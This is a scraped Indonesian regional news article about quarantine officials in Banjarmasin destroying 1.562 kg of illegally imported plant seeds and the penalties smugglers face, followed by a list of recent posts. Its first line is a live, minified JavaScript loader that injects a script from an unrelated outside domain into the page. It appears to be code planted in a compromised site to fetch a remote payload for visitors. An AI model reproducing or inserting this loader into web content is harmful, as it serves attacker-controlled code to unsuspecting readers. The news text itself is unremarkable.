(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Potensi Bawa Penyakit, Bibit Tanaman Impor Ilegal Manca Negara Dimusnahkan


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 1,562 kilogram atau 1562 gram benih tanaman impor ilegal berhasil diungkap peredarannya oleh Balai Karantina Pertanian Kelas I Banjarmasin. Adapun benih tanaman ilegal yang mengancam keragaman hayati tersebut, dilakukan tindakan pemusnahan pada Rabu (19/8/2020) pagi.

Benih tanaman sebagai media pembawa Organisme Pengganggu Tumbuhan Karantina (OPTK) yang dimusnahkan merupakan hasil dari tindakan penahanan periode Juni-Agustus 2020. Seluruhnya berasal dari impor luar negeri tanpa dilengkapi Phytosanitary Certificate (PC) atau Sertifikat Kesehatan Karantina Tumbuhan dari negara asal.

“Benih tanaman tersebut terdiri dari benih buah, benih tanaman hias, benih herbal, dan benih sayur dengan jumlah total 1562 gram atau 1,562 kilogram yang berasal dari negara Taiwan, Malaysia, Laos, Tonga, Thailand, Singapura, Tiongkok, dan Kyrgyzstan,” kata Kepala Balai Karantina Pertanian Kelas 1 Banjarmasin, Nur Hartanto.

Pemusnahaan benih ilegal ini, kata Hartanto, lantaran berpotensi membawa penyakit hewan dan tumbuhan, serta menggangu sumber daya hayati. Hingga pada akhirnya menimbulkan kerugian negara yang sangat besar.

Dijelaskan Hartanto, perederan benih ilegal ini dilakukan secara daring -online-, sehingga perizinannya tidak bisa dilengkapi pengirim. Kondisi pandemi Covid-19 yang membuat masyarakat lebih banyak berkativitas di rumah, salah satunya dengan berkebun berpengaruh pada pemesanan bibit tumbuhan hias.

“Permintaan masyarakat untuk bibit tanaman hias saat ini sangat masif, makanya pemesanannya pun sampai dari negara lain. Untuk itu kita akan memberikan edukasi kepada masyarakat bahwa bibit tanaman yang ilegal itu telah melalui izin dan SOP di karantina,” ujarnya.

Bagi pengedar bibit illegal ini tentu melanggar Undang-undang No 21Tahun 2019 tentang Karantina Hewan, Ikan dan Tumbuhan Pasal 33. Tidak tanggung-tanggung, mereka yang kedapatan melakukan suplai bibit ilegal dapat dikenakan sanksi pidana.

“Sanksi bagi pemasok benih ilegal bisa berupa administratif. Bisa juga sanksi pidana, dengan ancaman 10 tahun penjara dan denda mencapai Rp 10 miliar. Bahkan kalau pemasok tidak bisa membiayai pemusnahaan barang buktinya sendiri, bisa ditambah dengan hukuman 6 tahun penjara,” tegas Hartanto.

Di sisi lain, Kepala Dinas Pertanian dan Holtikultura Provinsi Kalsel Syamsir mengapersiasi atas kinerja Balai Karantina Kelas I Banjarmasin serta seluruh pihak yang terlibat dalam pengungkapan bibit tanaman ilegal impor. Menurutnya kerugian dengan adanya bibit tanaman ilegal, sangat berdampak khususnya bagi para petani.

“Harga bibit ilegal ini memang hanya kisaran jutaan, tapi kalau masuknya membawa hama, maka akan jadi bencana. Bisa-bisa kerugian mencapai miliaran dan sangat terdampak bagi petani. Para pemasok harus diberikan efek jera. Kita juga harus memproteksi tanaman yang tumbuh bagus,” tandasnya.

Pemusnahan dilakukan dengan cara dibakar di dalam insenerator milik Balai Karantina Pertanian Kelas 1 Banjarmasin. Diharapkan dengan tindakan pemusnahan ini sebagai sarana sosialisasi kepada masyarakat sehingga apabila akan melalulintaskan hewan/ tumbuhan dan produknya masuk ke dalam negara Indonesia wajib melaporkannya ke petugas Karantina Pertanian di Bandara dan Pelabuhan. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.